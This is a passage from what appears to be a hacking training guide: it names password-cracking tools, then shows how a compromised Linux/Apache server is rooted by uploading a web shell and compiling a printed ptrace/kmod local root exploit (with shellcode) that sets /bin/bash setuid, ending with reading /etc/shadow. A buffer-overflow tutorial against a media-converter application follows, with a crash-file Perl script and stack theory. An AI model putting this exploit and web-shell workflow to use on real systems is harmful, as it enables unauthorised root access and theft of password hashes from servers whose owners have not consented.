word in the dictionary. If Google put their computer to work on it they’d finish about 1,000
times faster.
SensePost CrowBar
77 | P a g e
SecuriBox Sentri 2.0
78 | P a g e
OWASP WebSlayer
79 | P a g e
xHydra (BackTrack 3/4 - GTK)
80 | P a g e
81 | P a g e
Linux Hacking - Why Linux?
Linux/Apache privilege escalation
For this example, we shall look at www2.example.com, which is a Linux server running 2.4 kernel and
Apache 1.3.27. As with the previous example, we shall assume that is has already been compromised, and
a file uploader script upload.cgi.
Uploading the UNIX attack tools
For this server, we shall upload a web based command prompt - shell.cgi and another file - ptrace1.c.
ptrace1.c is a privilege escalation exploit based on the Linux Ptrace/Setuid Exec Vulnerability. The exploit
is slightly modified, to adapt it for one-way use. When run successfully, the exploit applies the setuid
permission to /bin/bash, which is owned by the root user. This causes any shell command executed
through /bin/bash, to run with super-user privileges. The web based command prompt, shell.cgi,
internally invokes /bin/bash, and therefore all commands executed via shell.cgi shall run as the root user.
The source code of the modified ptrace exploit is:
ptrace1.c
/*
* Linux kernel ptrace/kmod local root exploit
*
* Should work under all current 2.2.x and 2.4.x kernels.
*
* I discovered this stupid bug independently on January 25, 2003, that
* is (almost) two month before it was fixed and published by Red Hat
* and others.
*
* Wojciech Purczynski <cliph@isec.pl>
*
* THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY*
* IT IS PROVIDED "AS IS" AND WITHOUT ANY WARRANTY
*
* (c) 2003 Copyright by iSEC Security Research
*
* exploit modified for one-way use by Saumil Shah
*/
#include <grp.h>
#include <stdio.h>
#include <fcntl.h>
#include <errno.h>
#include <paths.h>
82 | P a g e
#include <string.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <sys/wait.h>
#include <sys/stat.h>
#include <sys/param.h>
#include <sys/types.h>
#include <sys/ptrace.h>
#include <sys/socket.h>
#include <linux/user.h>
char cliphcode[] =
"x90x90xebx1fxb8xb6x00x00"
"x00x5bx31xc9x89xcaxcdx80"
"xb8x0fx00x00x00xb9xedx0d"
"x00x00xcdx80x89xd0x89xd3"
"x40xcdx80xe8xdcxffxffxff";
#define CODE_SIZE (sizeof(cliphcode) - 1)
pid_t parent = 1;
pid_t child = 1;
pid_t victim = 1;
volatile int gotchild = 0;
void fatal(char * msg)
{
perror(msg);
kill(parent, SIGKILL);
kill(child, SIGKILL);
kill(victim, SIGKILL);
}
void putcode(unsigned long * dst)
{
char buf[MAXPATHLEN + CODE_SIZE];
unsigned long * src;
int i, len;
memcpy(buf, cliphcode, CODE_SIZE);
len = readlink("/proc/self/exe", buf + CODE_SIZE, MAXPATHLEN - 1);
if (len == -1)
fatal("[-] Unable to read /proc/self/exe");
len += CODE_SIZE + 1;
buf[len] = '0';
src = (unsigned long*) buf;
for (i = 0; i < len; i += 4)
83 | P a g e
if (ptrace(PTRACE_POKETEXT, victim, dst++, *src++) == -1)
fatal("[-] Unable to write shellcode");
}
void sigchld(int signo)
{
struct user_regs_struct regs;
if (gotchild++ == 0)
return;
fprintf(stderr, "[+] Signal caughtn");
if (ptrace(PTRACE_GETREGS, victim, NULL, &regs) == -1)
fatal("[-] Unable to read registers");
fprintf(stderr, "[+] Shellcode placed at 0x%08lxn", regs.eip);
putcode((unsigned long *)regs.eip);
fprintf(stderr, "[+] Now wait for suid shell...n");
if (ptrace(PTRACE_DETACH, victim, 0, 0) == -1)
fatal("[-] Unable to detach from victim");
exit(0);
}
void sigalrm(int signo)
{
errno = ECANCELED;
fatal("[-] Fatal error");
}
void do_child(void)
{
int err;
child = getpid();
victim = child + 1;
signal(SIGCHLD, sigchld);
do
err = ptrace(PTRACE_ATTACH, victim, 0, 0);
while (err == -1 && errno == ESRCH);
if (err == -1)
fatal("[-] Unable to attach");
84 | P a g e
fprintf(stderr, "[+] Attached to %dn", victim);
while (!gotchild) ;
if (ptrace(PTRACE_SYSCALL, victim, 0, 0) == -1)
fatal("[-] Unable to setup syscall trace");
fprintf(stderr, "[+] Waiting for signaln");
for(;;);
}
void do_parent(char * progname)
{
struct stat st;
int err;
errno = 0;
socket(AF_SECURITY, SOCK_STREAM, 1);
do {
err = stat(progname, &st);
} while (err == 0 && (st.st_mode & S_ISUID) != S_ISUID);
if (err == -1)
fatal("[-] Unable to stat myself");
alarm(0);
system(progname);
}
void prepare(void)
{
if (geteuid() == 0) {
initgroups("root", 0);
setgid(0);
setuid(0);
// execl(_PATH_BSHELL, _PATH_BSHELL, NULL);
// line below is a modification to adapt the exploit
// for one-way hacking
execl("/bin/chmod", "/bin/chmod", "4755", "/bin/bash", NULL);
fatal("[-] Unable to spawn shell");
}
}
int main(int argc, char ** argv)
{
prepare();
signal(SIGALRM, sigalrm);
alarm(10);
parent = getpid();
child = fork();
victim = child + 1;
85 | P a g e
if (child == -1)
fatal("[-] Unable to fork");
if (child == 0)
do_child();
else
do_parent(argv[0]);
return 0;
}
The screenshots below show these two files being uploaded on www2.example.com.
We shall now compile ptrace1.c and check if it has been compiled properly. We shall also check our
current privileges. The screenshot below shows the following commands executed via shell.cgi:
gcc -o ptrace1 ptrace1.c
ls –la
id
86 | P a g e
The privileges extended to shell.cgi are those of the "nobody" user.
ptrace1.c - privilege escalation
The next step is to attempt to execute ptrace1, to see if we can apply the setuid permissions to /bin/bash.
The exploit ptrace1.c internally executes the following command:
/bin/chmod 4755 /bin/bash
The screenshot below shows ptrace1 being executed and the file listing for /bin/bash:
Sure enough, the /bin/bash binary has the setuid permission applied to it.
The next screenshot shows two commands being executed:
Id
cat /etc/shadow
87 | P a g e
Notice that the effective uid (euid) of the shell.cgi process is 0, which is that of the root user. The fact that
we were able to view the contents of the /etc/shadow file proves that the privileges have been escalated.
We now have full super-user control of www2.example.com
88 | P a g e
Buffer Overflows Why is Programs/Applications Vulnerable?
Verify the bug
First of all, let’s verify that the application does indeed crash when opening a malicious m3u file.
(Or find yourself an application that crashes when you feed specifically crafted data to it).
Get yourself a copy of the vulnerable version of Easy RM to MP3 and install it on a computer
running Windows XP. The vulnerability report states that the exploit works on XP SP2 (English),
but I’ll use XP SP3 (English).
Local copy of the vulnerable application can be downloaded here:
Easy RM to MP3 Conversion Utility (2.8 MiB, 2,325 hits)
You do not have permission to download this file.
Quick side note: you can find older versions of applications at oldapps.com and oldversion.com,
or by looking at exploits on exploit-db.com (which often have a local copy of the vulnerable
application as well)
We’ll use the following simple Perl script to create an “.m3u” file that may help us to discover
more information about the vulnerability:
my $file= "crash.m3u";
my $junk= "x41" x 10000;
open($FILE,">$file");
print $FILE "$junk";
close($FILE);
print "m3u File Created successfullyn";
Run the Perl script to create the m3u file. The fill will be filled with 10000 A’s (x41 is the
hexadecimal representation of A) and open this m3u file with Easy RM to MP3…. The
application throws an error, but it looks like the error is handled correctly and the application do
not crash. Modify the script to write a file with 20000 A’s and try again, the same behavior.
(Exception is handled correctly, so we still could not overwrite anything useful). Now change the
script to write 30000 A’s, create the m3u file and open it in the utility.
89 | P a g e
Boom – application dies.
Ok, so the application crashes if we feed it a file that contains between 20000 and 30000 A’s.
But what can we do with this?
Verify the bug – and see if it could be interesting
Obviously, not every application crash can lead to exploitation. In many cases, an application
crash will not lead to exploitation… But sometimes it does. With “exploitation”, I mean that you
want the application to do something it was not intended to do… such as running your own
code. The easiest way to make an application do something different is by controlling its
application flow (and redirects it to somewhere else). This can be done by controlling
the Instruction Pointer (or Program Counter), which is a CPU registering that contains a pointer
to where the next instruction that needs to be executed is located.
Suppose an application calls a function with a parameter. Before going to the function, it saves
the current location in the instruction pointer (so it knows where to return when the function
completes). If you can modify the value in this pointer, and point it to a location in memory that
contains your own piece of code, then you can change the application flow and make it execute
something different (other than returning back to the original place). The code that you want to
be executed after controlling the flow is often referred to as “shellcode”. So if we make the
application run our shellcode, we can call it a working exploit. In most cases, this pointer is
referenced by the term EIP. This register size is 4 bytes. So if you can modify those 4 bytes, you
own the application (and the computer the application runs on)
Before we proceed – some theory
Just a few terms that you will need:
Every Windows application uses parts of memory. The process memory contains 3 major
components:
 Code segment (instructions that the processor executes. The EIP keeps track of the next
instruction)
 data segment (variables, dynamic buffers)
 Stack segment (used to pass data/arguments to functions, and is used as space for
variables. The stack starts (= the bottom of the stack) from the very end of the virtual
memory of a page and grows down (to a lower address). a PUSH adds something to the
top of the stack, POP will remove one item (4 bytes) from the stack and puts it in a register.
If you want to access the stack memory directly, you can use ESP (Stack Pointer), which points at
the top (so the lowest memory address) of the stack.
 After a push, ESP will point to a lower memory address (address is decremented with the
size of the data that is pushed onto the stack, which is 4 bytes in case of
addresses/pointers). Decrements usually happen before the item is placed on the stack
(depending on the implementation… if ESP already points at the next free location in the
stack, the decrement happens after placing data on the stack)
90 | P a g e
 After a POP, ESP points to a higher address (address is incremented (by 4 bytes in case of
addresses/pointers)). Increments happen after an item is removed from the stack.
When a function/subroutine is entered, a stack frame is created. This frame keeps the
parameters of the parent procedure together and is used to pass arguments to the
subroutine. The current location of the stack can be accessed via the stack pointer (ESP), the
current base of the function is contained in the base pointer (EBP) (or frame pointer).
The CPU’s general purpose registers (Intel, x86) are:
 EAX: accumulator: used for performing calculations, and used to store return values from
function calls. Basic operations such as add, subtract, compare use this general-purpose
register
 EBX: base (does not have anything to do with base pointer). It has no general purpose and
can be used to store data.
 ECX: counter: used for iterations. ECX counts downward.
 EDX: data: this is an extension of the EAX register. It allows for more complex calculations
(multiply, divide) by allowing extra data to be stored to facilitate those calculations.
 ESP : stack pointer
 EBP : base pointer
 ESI : source index : holds location of input data
 EDI : destination index : points to location of where result of data operation is stored
 EIP : instruction pointer
Process Memory
When an application is stared in a Win32 environment, a process is created and virtual memory
is assigned to. In a 32 bit process, the address ranges from 0×00000000 to 0xFFFFFFFF, where
0×00000000 to 0x7FFFFFFF is assigned to "user-land", and 0×80000000 to 0xFFFFFFFF is
assigned to "kernel land". Windows uses the flat memory model, which means that the CPU can
directly/sequentially/linearly address all of the available memory locations, without having to
use a segmentation/paging scheme.
Kernel land memory is only accessible by the OS.
When a process is created, a PEB (Process Execution Block) and TEB (Thread Environment Block)
are created.
The PEB contains all user land parameters that are associated with the current process:
 location of the main executable
 pointer to loader data (can be used to list all DLLs / modules that are/can be loaded into
the process)
 pointer to information about the heap
The TEB describes the state of a thread, and includes
 location of the PEB in memory
91 | P a g e
 location of the stack for the thread it belongs to
 pointer to the first entry in the SEH chain (see tutorial 3 and 3b to learn more about what a
SEH chain is)
Each thread inside the process has one TEB.
The Win32 process memory map looks like this:
92 | P a g e
The text segment of a program image / DLL is read only, as it only contains the application code.
This prevents people from modifying the application code. This memory segment has a fixed
size. The data segment is used to store global and static program variables. The data segment is
used for initialized global variables, strings, and other constants.
The data segment is writable and has a fixed size. The heap segment is used for the rest of the
program variables. It can grow larger or smaller as desired. All of the memory in the heap is
managed by allocator (and De-Allocator) algorithms. A memory region is reserved by these
algorithms. The heap will grow towards higher addresses.
In a DLL, the code, imports (list of functions used by the DLL, from another DLL or application),
and exports (functions it makes available to other DLL’s applications) are part of the .text
segment.
The Stack
The stack is a piece of the process memory, a data structure that works LIFO (Last in first out). A
stack gets allocated by the OS, for each thread (when the thread is created). When the thread
ends, the stack is cleared as well. The size of the stack is defined when it gets created and
doesn’t change. Combined with LIFO and the fact that it does not require complex management
structures/mechanisms to get managed, the stack is pretty fast, but limited in size.
LIFO means that the most recent placed data (result of a PUSH instruction) is the first one that
will be removed from the stack again. (It is removed by a POP instruction).
When a stack is created, the stack pointer points to the top of the stack (= the highest address
on the stack). As information is pushed onto the stack, this stack pointer decrements (the
pointer goes to a lower address). So in essence, the stack grows to a lower address.
The stack contains local variables, function calls and other info that does not need to be stored
for a larger amount of time. As more data is added to the stack (pushed onto the stack), the
stack pointer is decremented and points at a lower address value.
Every time a function is called, the function parameters are pushed onto the stack, as well as the
saved values of registers (EBP, EIP). When a function returns, the saved value of EIP is retrieved
from the stack and placed back in EIP, so the normal application flow can be resumed.
Let’s use a few lines of simple code to demonstrate the behavior:
01 #include <string.h>
02
93 | P a g e
03 void do_something(char *Buffer)
04 {
05 char MyVar[128];
06 strcpy(MyVar,Buffer);
07 }
08
09 int main (int argc, char **argv)
10 {
11 do_something(argv[1]);
12 }
(You can compile this code. Get yourself a copy of Dev-C++ 4.9.9.2, create a new Win32
console project (use C as language, not C++), paste the code and compile it). On my system, I
called the project "stacktest".
Run the application : "stacktest.exe AAAA". Nothing should return.
This applications takes an argument (argv[1] and passes the argument to function
do_something(). In that function, the argument is copied into a local variable that has a
maximum of 128 bytes. This means that if the argument is longer than 127 bytes (+ a null byte
to terminate the string), the buffer may get overflown.
When function "do_something(param1)" gets called from inside main(), the following things
happen:
A new stack frame will be created, on top of the ‘parent’ stack. The stack pointer (ESP) points to
the highest address of the newly created stack. This is the "top of the stack".
94 | P a g e
Before do_something() is called, a pointer to the argument(s) gets pushed to the stack. In our
case, this is a pointer to argv[1].
Stack after the MOV instruction:
95 | P a g e
Next, function do_something is called. The CALL instruction will first put the current instruction
pointer onto the stack (so it knows where to return to if the function ends) and will then jump to
the function code.
Stack after the CALL instruction:
As a result of the push, ESP decrements 4 bytes and now points to a lower address.
96 | P a g e
(or, as seen in a debugger) :
ESP points at 0022FF5C. At this address, we see the saved EIP (Return to…), followed by a
pointer to the parameter (AAAA in this example). This pointer was saved on the stack before the
CALL instruction was executed.
Next, the function prolog executes. This basically saves the frame pointer (EBP) onto the stack,
so it can be restored as well when the function returns. The instruction to save the frame
pointer is "push ebp". ESP is decremented again with 4 bytes.
97 | P a g e
Following the push ebp, the current stack pointer (ESP) is put in EBP. At that point, both ESP
and EBP point at the top of the current stack. From that point on, the stack will usually be
referenced by ESP (top of the stack at any time) and EBP (the base pointer of the current stack).
This way, the application can reference variables by using an offset to EBP.
Most functions start with this sequence : PUSH EBP, followed by MOV EBP,ESP
So, if you would push another 4 bytes to the stack, ESP would decrement again and EBP would
still stay where it was. You could reference these 4 bytes by using EBP-0×8.
Next, we can see how stack space for the variable MyVar (128bytes) is declared/allocated. In
order to hold the data, some space is allocated on the stack to hold data in this variable… ESP is
decremented by a number of bytes. This number of bytes will most likely is more than 128
bytes, because of an allocation routine determined by the compiler. In the case of Dev-C++, this
is 0×98 bytes. So you will see a SUB ESP,0×98 instruction. That way, there will be space available
for this variable.
98 | P a g e
The disassembly of the function looks like this :
01 00401290 /$ 55 PUSH EBP
02 00401291 |. 89E5 MOV EBP,ESP
03 00401293 |. 81EC 98000000 SUB ESP,98
04 00401299 |. 8B45 08 MOV EAX,DWORD PTR SS:[EBP+8] ; |
05 0040129C |. 894424 04 MOV DWORD PTR SS:[ESP+4],EAX ; |
06 004012A0 |. 8D85 78FFFFFF LEA EAX,DWORD PTR SS:[EBP-88] ; |
99 | P a g e
07 004012A6 |. 890424 MOV DWORD PTR SS:[ESP],EAX ; |
08 004012A9 |. E8 72050000 CALL <jmp. &msvcrt.strcpy=""> ; strcpy
09 004012AE |. C9 LEAVE
10 004012AF . C3 RETN</jmp.>
(Don’t worry about the code too much. You can clearly see the function prolog (PUSH EBP and
MOV EBP, ESP), you can also see where space gets allocated for MyVar (SUB ESP, 98), and you
can see some MOV and LEA instructions (which basically set up the parameters for the strcpy
function… taking the pointer where argv[1] sits and using it to copy data from, into MyVar.
If there would not have been a strcpy() in this function, the function would now end and
"unwind" the stack. Basically, it would just move ESP back to the location where saved EIP was,
and then issues a RET instruction. A ret, in this case, will pick up the saved EIP pointer from the
stack and jump to it. (Thus, it will go back to the main function, right after where
do_something() was called). The epilog instruction is executed by a LEAVE instruction (which
will restore both the frame pointer and EIP).
In my example, we have a strcpy() function.
This function will read data, from the address pointed to by [Buffer], and store it in <space for
MyVar>, reading all data until it sees a null byte (string terminator). While it copies the data,
ESP stays where it is. The strcpy() does not use PUSH instructions to put data on the stack… it
basically reads a byte and writes it to the stack, using an index (for example ESP, ESP+1, ESP+2,
etc). So after the copy, ESP still points at the begin of the string.